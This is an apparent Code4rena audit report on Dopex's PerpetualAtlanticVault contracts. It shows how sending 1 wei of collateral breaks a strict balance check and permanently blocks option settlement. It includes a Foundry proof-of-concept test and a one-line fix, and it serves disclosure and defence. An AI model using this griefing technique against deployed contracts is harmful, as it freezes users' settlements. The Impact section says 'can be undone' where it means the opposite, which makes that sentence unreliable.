All options settlements can be blocked with a permanent DOS of the settle() function

[code423n4]

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L201
https://github.com/code-423n4/2023-08-dopex/blob/main/contracts/perp-vault/PerpetualAtlanticVault.sol#L359-L361

Vulnerability details

Summary

The PerpetualAtlanticVaultLP::subtractLoss() function has a strict balance check with a require.

By providing any amount of collateral to it, like 1 wei, the function will always revert. This function is used by the PerpetualAtlanticVault::settle() function, which is called by the RdpxV2Core::settle() function.

This will make the settle function always revert.

Impact

With a DOS of the RdpxV2Core::settle() function, no option can be settled. This can be undone as the strict balance check on the substractLoss() function will always make the function revert.

The attack is extremely cheap, and easy to exploit, just requiring the attacker to send 1 wei of collateral to the PerpetualAtlanticVaultLP contract at any time.

Proof of Concept

The root of the finding is this strict equality check.

Once an attacker sends any amount of collateral tokens to the contract, the require statement will not pass, making the function always revert.

  function subtractLoss(uint256 loss) public onlyPerpVault {
    require(
@>    collateral.balanceOf(address(this)) == _totalCollateral - loss, // @audit
      "Not enough collateral was sent out"
    );
    _totalCollateral -= loss;
  }

PerpetualAtlanticVaultLP.sol#L201

This function is called by the PerpetualAtlanticVault on its settle() function:

    IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).subtractLoss(
        ethAmount
    );

PerpetualAtlanticVault.sol#L359-L361

And originally, PerpetualAtlanticVault::settle(), is called within the Core contract settle() function:

  function settle(
    uint256[] memory optionIds
  )
    external
    onlyRole(DEFAULT_ADMIN_ROLE)
    returns (uint256 amountOfWeth, uint256 rdpxAmount)
  {
    _whenNotPaused();
    (amountOfWeth, rdpxAmount) = IPerpetualAtlanticVault(
      addresses.perpetualAtlanticVault
@>  ).settle(optionIds);                                   // @audit
    for (uint256 i = 0; i < optionIds.length; i++) {
      optionsOwned[optionIds[i]] = false;
    }

    reserveAsset[reservesIndex["WETH"]].tokenBalance += amountOfWeth;
    reserveAsset[reservesIndex["RDPX"]].tokenBalance -= rdpxAmount;

    emit LogSettle(optionIds);
  }

So, all option settlements can be prevented with a DOS of the subtractLoss(), function which will make all calls to settle() revert.

Coded Proof of Concept

This tests shows how the settle() functions becomes DOS, after 1 wei of collateral is sent to the vault LP.

Add this test to tests/rdpxV2-core/Unit.t.sol and run forge test --mt "testSettleDos":

  function testSettleDos() public {
    address _this = address(this); // track address(this) for later vm.prank

    address attacker = address(666);
    weth.transfer(attacker, 1); // give the attacker 1 wei of weth

    (,,,, address perpetualAtlanticVaultLp,,,,,) = rdpxV2Core.addresses();

    vault.addToContractWhitelist(address(rdpxV2Core));

    rdpxV2Core.bond(5 * 1e18, 0, address(this));
    rdpxPriceOracle.updateRdpxPrice(1e7);

    // The attacker can send 1 wei of the collateral at any point in time
    // This will make all calls to `settle()` revert
    vm.prank(attacker);
    weth.transfer(perpetualAtlanticVaultLp, 1); // remove this line to check that the test passes without it

    uint256[] memory _ids = new uint256[](1);
    _ids[0] = 0;

    // The `settle()` function will always revert and become in a DOS state
    vm.prank(_this);
    vm.expectRevert("Not enough collateral was sent out");
    rdpxV2Core.settle(_ids);
  }

Tools Used

Manual Review

Recommended Mitigation Steps

Replace the strict equality with a >=:

  function subtractLoss(uint256 loss) public onlyPerpVault {
    require(
-     collateral.balanceOf(address(this)) == _totalCollateral - loss,
+     collateral.balanceOf(address(this)) >= _totalCollateral - loss,
      "Not enough collateral was sent out"
    );
    _totalCollateral -= loss;
  }

Assessed type

Invalid Validation

[c4-pre-sort]

bytes032 marked the issue as duplicate of #619

[c4-pre-sort]

bytes032 marked the issue as sufficient quality report

[c4-judge]

GalloDaSballo marked the issue as satisfactory